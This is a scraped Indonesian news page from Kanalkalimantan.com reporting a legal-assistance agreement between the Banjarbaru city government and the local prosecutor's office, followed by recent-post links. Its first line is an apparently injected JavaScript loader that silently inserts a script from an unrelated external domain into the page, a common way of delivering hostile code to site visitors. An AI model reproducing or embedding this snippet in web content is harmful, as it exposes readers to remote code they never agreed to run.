(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pendampingan Hukum, Pemko-Kejari Banjarbaru Buat Kesepakatan Bersama


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru dengan Kejaksaan Negeri (Kejari) Banjarbaru berkerja sama dalam penanganan masalah hukum bidang perdata dan tata usaha negara.

Penandatanganan MoU (Memorandum of Understanding) atau kesepakatan bersama berlangsung di aula Mufakat Kejari Banjarbaru, Senin (4/4/2022) siang.

Penandatanganan MoU dilakukan langsung Wali Kota Banjarbaru Aditya Mufti Ariffin dengan Kepala Kejaksaan Negeri Banjarbaru Hadiyanto.

Turut hadir Kapolres Banjarbaru AKBP Nur Khamid, Inspektur Kota Banjarbaru, Kepala BPKAD Kota Banjarbaru, Kepala BAPPEDA Kota Banjarbaru, Kepala Dishub Kota Banjarbaru, Kasat Pol PP Kota Banjarbaru, Kabag Hukum Setdako Banjarbaru, Kabag Prokopim Setdako Banjarbaru.

 

 

Baca juga: Terungkap Motif Pembunuhan Perempuan di Jalan Gubernur Syarkawi, Pelaku Ternyata Mantan Suami

Kajari Banjarbaru Hadiyanto mengetakan, Kejaksaan Negeri Banjarbaru akan mendampingi Pemko Banjarbaru dalam permasalahan hukum, agar proyek-proyek strategis bisa berjalan dengan baik, benarm dan lancar.

“Jadi nanti kita bertindak sebagai jaksa pengacara negara mewakili pemerintah kota. Mewakili dalam kalau ada permasalahan-permasalahan, dan juga kita bisa mendampingi dalam permasalahan perdatanya dalam proyek-proyek strategis. Ada beberapa poin yang bisa kita dampingi termasuk aset-aset pemerintah kota juga bisa kita kawal segera diinventarisir,” katanya.

Sementara itu, Wali Kota Banjarbaru Aditya Mufti Ariffin berharap dengan adanya MoU ini, bisa membantu pendampingan permasalahan hukum yang dihadapi oleh Pemko Banjarbaru.

“Adanya penandatanganan ini, berkaitan dengan pendampingan dan permasalahan hukum yang dihadapi oleh pemerintah kota, terutama di bidang perdata dan tata usaha negara lebih kuat lagi dengan adanya pendampingan ini, apalagi banyak aset-aset Pemerintah Kota Banjarbaru yang saat ini bermasalah di pengadilan dan lain-lain,” ujarnya.

Wali Kota menambahkan, adanya pendampingan dari Kejaksaan diharapkan tidak ada lagi kecurangan, penyalahgunaan wewenang, dalam menjalankan program-program strategis daerah.

“Pendampingan dalam program-program strategis daerah yang akan kita laksanakan ke depannya, agar tidak ada kecurangan-kecurangan, tidak ada penyalahgunaan wewenang dan lain-lain, sehingga diperlukan monitoring dan pendampingan dari Kejaksaan,” ujarnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

3 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

6 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

7 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

1 hari ago

This website uses cookies.